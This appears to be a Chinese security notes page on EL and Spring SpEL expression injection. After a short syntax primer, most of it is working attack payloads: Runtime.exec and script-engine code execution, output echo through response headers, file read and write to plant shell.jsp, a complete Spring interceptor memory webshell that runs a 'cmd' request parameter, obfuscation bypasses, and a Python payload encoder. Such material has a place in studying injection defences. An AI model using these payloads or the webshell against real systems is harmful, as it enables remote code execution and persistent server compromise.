EL&SPEL EL常用于JSP,而SPEL主要针对于spring,两者并非严格区分关系。
何为EL EL(Expression Language )是一种脚本表达式,它可以直接插入到JSP中,其主要功能有:
获取数据 :从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象, 访问JavaBean的属性、访问List集合、访问Map集合、访问数组)。 
执行运算 :执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP页面中完成一些简单的逻辑运算, 例如${user==null}。 
获取Web开发常用对象 :EL表达式定义了一些隐式对象, 利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用, 从而获得这些对象中的数据。
可以直接获取到PageContext,访问JSP内置对象比如page,request,session,application。 
 
 
调用Java方法 :EL表达式允许用户开发自定义EL函数, 以在JSP页面中通过EL表达式调用Java类的方法。
 
 
EL基本语法 界定符 EL表达式用${}进行包裹,表达式位于花括号之间。
取值与赋值 取值符号有两个
.:${userinfo.name} 
[]:${userinfo['name']} 
 
这两个表达式都是取出userinfo对象中的name属性,不过中括号[]有一些.不具备的特点:
如果存取的属性名称包含一些特殊字符(非字母数字),那么必须用[],,比如${userinfo['my-name']} 
[]可以进行动态取值,比如${userinfo[param.name]}中的name可以通过参数来传递。
 
 
取值的范围在没有自定义的情况下就会依次从Page、Request、Session、Application中查找,如果没有找到则返回当前上下文即.。
赋值使用等号即可,如${userinfo.name}=abc,实际上 []、.可以理解为getter,=可以理解为setter。
内置(隐式)对象 JSP表达式语言定义了一些隐式对象,其中比较重要的有
JSP上下文对象
pageContext:JSP页的上下文, 可以用于访问JSP隐式对象, 如请求、响应、会话、输出、servletContext等. 例如,${pageContext.response}为页面的响应对象赋值。 
 
 
请求相关的简易对象
param:${param.name}等同于request.getParameter(name)。 
paramValues:与param类似,将请求参数映射到数组而非单个值,${paramValues.name}等同于request.getParamterValues(name)。 
header:${header.name}等同于request.getHeader(name)。 
headerValues:同上 
cookie:将cookie名称映射到单个cookie对象. 向服务器发出的客户端请求可以获得一个或多个cookie. 表达式${cookie.name.value}返回带有特定名称的第一个cookie值. 如果请求包含多个同名的cookie, 则应该使用${headerValues.name}表达式。 
initParam:将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name)获得)。 
 
 
Web 上下文、会话、请求、页面
pageScope 
requestScope 
sessionScope 
applicationScope 
 
 
 
EL注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17  ${pageContext} ${pageContext.getSession ().getServletContext ().getClassLoader ().getResource ("" )} ${header} ${applicationScope} ${pageContext.request .getSession ().setAttribute ("a" ,pageContext.request .getClass ().forName ("java.lang.Runtime" ).getMethod ("getRuntime" ,null).invoke (null,null).exec ("calc" ).getInputStream ())} ${'' .getClass ().forName ("javax.script.ScriptEngineManager" ).newInstance ().getEngineByName ("JavaScript" ).eval ("java.lang.Runtime.getRuntime().exec('calc')" )}
 
SPEL注入 Spring表达式语言(简称SpEl)是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL, 但提供额外的功能, 最出色的就是函数调用和简单字符串的模板函数.
尽管有其他可选的Java表达式语言, 如OGNL,MVEL,JBoss EL等等, 但Spel创建的初衷是了给Spring社区提供一种简单而高效的表达式语言, 一种可贯穿整个Spring产品组的语言, 这种语言的特性应基于Spring产品的需求而设计. 虽然SpEL引擎作为Spring组合里的表达式解析的基础, 但它不直接依赖于Spring, 可独立使用.
SimpleEvaluationContext: 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别, 公开SpEL语言特性和配置选项的子集.
StandardEvaluationContext: 公开全套SpEL语言功能和配置选项, 可以使用它来指定默认的根对象并配置每个可用的评估相关策略.
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集, 不包括Java类型引用、构造函数和bean引用; 而StandardEvaluationContext是支持全部SpEL语法的,因此使用StandardEvaluationContext才会造成SPEL注入 。
 
基本用法 SPEL使用#{}作为界定符,它有三种使用方式, 一种是在注解@Value中, 一种是XML配置, 最后一种是在代码块中使用Expression。下面
注解 @Value 用法 @Value能修饰成员变量和方法形参,#{}内就是SpEL表达式的语法,Spring会根据SpEL表达式语法为变量赋值.
1 2 3 4 5 6 7 public  class  User  {     @Value("${ spring.user.name }")      private  String Username;     @Value("#{ systemProperties['user.region'] }")      private  String defaultLocale;      }
 
XML 配置用法 在SpEL表达式中, 使用T(Type)运算符会调用类的作用域和方法,T(Type)操作符会返回一个object, 它可以帮助获取某个类的静态方法, 用法T(全限定类名).方法名(), 即可以通过该类类型表达式来操作类, 例如:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0"  encoding="UTF-8" ?> <beans  xmlns ="http://www.springframework.org/schema/beans"         xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation ="http://www.springframework.org/schema/beans      http://www.springframework.org/schema/beans/spring-beans-3.0.xsd " >     <bean  id ="helloWorld"  class ="com.mi1k7ea.HelloWorld" >          <property  name ="message"  value ="#{T(java.lang.Runtime).getRuntime().exec('calc')}"  />      </bean > </beans > 
 
Expression 用法 1 2 3 4 5 6 7 String  spel  =  "T(java.lang.Runtime).getRuntime().exec(\"calc\")" ;ExpressionParser  parser  =  new  SpelExpressionParser ();Expression  expression  =  parser.parseExpression(spel); System.out.println(expression.getValue());
 
类型表达式 T() 在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
1 2 3 4 String  cmdStr  =  "T(java.lang.String)" ;ExpressionParser  parser  =  new  SpelExpressionParser ();Expression  exp  =  parser.parseExpression(cmdStr); System.out.println(exp.getValue() );
 
使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,获取到类之后只能调用static方法,调用非static方法需要new 。
1 2 3 4 5 6 T(java.lang.Runtime).getRuntime().exec("calc" )       T(javax.script.ScriptEngineManager).getEngineByName("nashorn" ).eval(".." )      new  javax .script.ScriptEngineManager().getEngineByName("nashorn" ).eval("" )     
 
引用 在SpEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用”#variableName”来引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象:
#this:使用当前正在计算的上下文; 
#root:引用容器的root对象; 
@bean_name:引用Bean 
 
RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  class  Speli  {     public  static  void  main (String[] args)  {                  String  exp  =  "T(java.lang.Runtime).getRuntime().exec('calc')" ;          					 					         SpelExpressionParser  spelExpressionParser  =  new  SpelExpressionParser ();         Expression  expression  =  spelExpressionParser.parseExpression(exp);         System.out.println(expression.getValue());     } }
 
还有一些其他获取到ClassLoader的方法:
1 2 3 4 5 6  T(org.springframework.expression.Expression).getClass().getClassLoader() T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader() {request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec (\"touch  /tmp/foobar\")}
 
回显&读写&内存马 1.回显
回显方面考虑通用的思路,基于当前环境获取response对象,将result装进响应包的header、body等。
1 2 3 4 5 6 7 8 9 10 11 12 13  #response.addHeader('x-echo' ,new  java .io.BufferedReader(new  java .io.InputStreamReader(new  ProcessBuilder ("cmd" , "/c" , "whoami" ).start().getInputStream(), "gbk" )).readLine())     new  java .util.Scanner(new  java .lang.ProcessBuilder("cmd" , "/c" , "dir" , ".\\" ).start().getInputStream(), "GBK" ).useDelimiter("asdasdasdasd" ).next()       T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())      T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell" ,true ).Methods[6 ].invoke(null ,{}).eval('whatever java code in one statement' ).toString()          
 
2.读写
1 2 3 4 5 new  String (T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp" )))) T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp" )), 'FILE_CONTENT' .getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
 
3.内存马
内存马方面以springboot interceptor为例,直接defineClass()加载即可:
1 2 3 4 #{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell' ,T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....' ),new  javax .management.loading.MLet(new  java .net.URL[0 ],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()} #{T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell' ,T(org.springframework.util.Base64Utils).decodeFromString('...' ),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()}
 
下面是interceptor内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import  org.springframework.web.servlet.HandlerInterceptor;import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;import  org.springframework.web.context.WebApplicationContext;import  org.springframework.web.context.request.RequestContextHolder;import  org.springframework.web.servlet.ModelAndView;import  org.springframework.web.servlet.handler.AbstractHandlerMapping;import  org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import  javax.servlet.http.HttpServletRequest;import  javax.servlet.http.HttpServletResponse;import  java.lang.reflect.Field;import  java.util.List;public  class  InceptorMemShell  extends  AbstractTranslet  implements  HandlerInterceptor  {     static  {         WebApplicationContext  context  =  (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );         RequestMappingHandlerMapping  mappingHandlerMapping  =  context.getBean(RequestMappingHandlerMapping.class);         Field  field  =  null ;         try  {             field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" );         } catch  (NoSuchFieldException e) {             e.printStackTrace();         }         field.setAccessible(true );         List<HandlerInterceptor> adaptInterceptors = null ;         try  {             adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);         } catch  (IllegalAccessException e) {             e.printStackTrace();         }         InceptorMemShell  evilInterceptor  =  new  InceptorMemShell ();         adaptInterceptors.add(evilInterceptor);         System.out.println("ok" );     }     @Override      public  boolean  preHandle (HttpServletRequest request, HttpServletResponse response, Object handler)  throws  Exception {         String  cmd  =  request.getParameter("cmd" );         if  (cmd != null ) {             try  {                 response.setCharacterEncoding("gbk" );                 java.io.PrintWriter  printWriter  =  response.getWriter();                 ProcessBuilder builder;                 String  o  =  "" ;                 if  (System.getProperty("os.name" ).toLowerCase().contains("win" )) {                     builder = new  ProcessBuilder (new  String []{"cmd.exe" , "/c" , cmd});                 } else  {                     builder = new  ProcessBuilder (new  String []{"/bin/bash" , "-c" , cmd});                 }                 java.util.Scanner  c  =  new  java .util.Scanner(builder.start().getInputStream(),"gbk" ).useDelimiter("wocaosinidema" );                 o = c.hasNext() ? c.next(): o;                 c.close();                 printWriter.println(o);                 printWriter.flush();                 printWriter.close();             } catch  (Exception e) {                 e.printStackTrace();             }             return  false ;         }         return  true ;     }     @Override      public  void  postHandle (HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView)  throws  Exception {         HandlerInterceptor.super .postHandle(request, response, handler, modelAndView);     }     @Override      public  void  afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)  throws  Exception {         HandlerInterceptor.super .afterCompletion(request, response, handler, ex);     }     @Override      public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     } }
 
Bypass 反射 1 2 3 4 T(String).getClass().forName("java.lang.Runtime" ).getRuntime().exec("open -a Calculator" )      #this .getClass().forName("java.lang.Runtime" ).getRuntime().exec("open -a Calculator" )     
 
字符串拼接 1 2 3 4 T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("ex" +"ec" ,T(String[])).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("getRu" +"ntime" ).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" )),new  String []{"open" ,"-a" ,"Calculator" }) #this .getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("ex" +"ec" ,T(String[])).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" ).getMethod("getRu" +"ntime" ).invoke(T(String).getClass().forName("java.l" +"ang.Ru" +"ntime" )),new  String []{"open" ,"-a" ,"Calculator" })
 
ASCII替换 1 2 3 T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111 ).concat(T(java.lang.Character).toString(112 )).concat(T(java.lang.Character).toString(101 )).concat(T(java.lang.Character).toString(110 )).concat(T(java.lang.Character).toString(32 )).concat(T(java.lang.Character).toString(45 )).concat(T(java.lang.Character).toString(97 )).concat(T(java.lang.Character).toString(32 )).concat(T(java.lang.Character).toString(67 )).concat(T(java.lang.Character).toString(97 )).concat(T(java.lang.Character).toString(108 )).concat(T(java.lang.Character).toString(99 )).concat(T(java.lang.Character).toString(117 )).concat(T(java.lang.Character).toString(108 )).concat(T(java.lang.Character).toString(97 )).concat(T(java.lang.Character).toString(116 )).concat(T(java.lang.Character).toString(111 )).concat(T(java.lang.Character).toString(114 )))new  java .lang.ProcessBuilder(new  String []{new  java .lang.String(new  byte []{111 ,112 ,101 ,110 }),new  java .lang.String(new  byte []{45 ,97 }),new  java .lang.String(new  byte []{67 ,97 ,108 ,99 ,117 ,108 ,97 ,116 ,111 ,114 })}).start()
 
生成ASCII脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 def  shell ():     shell = input ('Enter shell to encode: ' )     part1_shell = 'T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)'  % ord (shell[0 ])     for  c in  shell[1 :]:         part1_shell += '.concat(T(java.lang.Character).toString(%s))'  % ord (c)     part1_shell += ')'      print ('\nPart1: ' )     print (part1_shell + '\n' )     part2_shell = 'new java.lang.ProcessBuilder(new String[]{'      args = shell.split(' ' )     len_args = len (args)     len_temp = 0      while (len_temp < len_args):         temp = 'new java.lang.String(new byte[]{'          for  i in  range (len (args[len_temp])):             temp += str (ord (args[len_temp][i]))             if  (i != len (args[len_temp]) - 1 ):                 temp += ','          temp += '})'          part2_shell += temp         len_temp += 1          if  len_temp != len_args:             part2_shell += ','      part2_shell += '}).start()'      print ('\nPart2: ' )     print (part2_shell + '\n' )if  __name__ == '__main__' :     shell()
 
JS引擎 1 2 3 4 5 6 7 8 T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn" ).eval("s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la" +"ng.Run" +"time.getRu" +"ntime().ex" +"ec(s);" ) T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(\"s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\"))                                                                                                                T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(" JavaScript").eval(T(String).getClass().forName(" java.l"+" ang.Ru"+" ntime").getMethod(" ex"+" ec",T(String[])).invoke(T(String).getClass().forName(" java.l"+" ang.Ru"+" ntime").getMethod(" getRu"+" ntime").invoke(T(String).getClass().forName(" java.l"+" ang.Ru"+" ntime")),new String[]{" open"," -a"," Calculator"}))) //反射                                                                                                                T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(T(java.net.URLDecoder).decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6f%70%65%6e%20%2d%61%20%43%61%6c%63%75%6c%61%74%6f%72%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\"))) //URL编码                                                                                                   
 
Jshell 注意JDK9之后新增
1 T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell" ,true ).Methods[6 ].invoke(null ,{}).eval('open -a Calculator' ).toString()
 
关键字绕过 1.绕过T(
SPEL处理字符会将%00替换为空,所以可以使用T%00(new)。
2.绕过getClass(
1 2 "" .class.getSuperclass().class.forName("java.lang.Runtime" ).getDeclaredMethods()[15 ].invoke("" .class.getSuperclass().class.forName("java.lang.Runtime" ).getDeclaredMethods()[7 ].invoke(null ),"open -a Calculator" )
 
OGNL @TODO
REF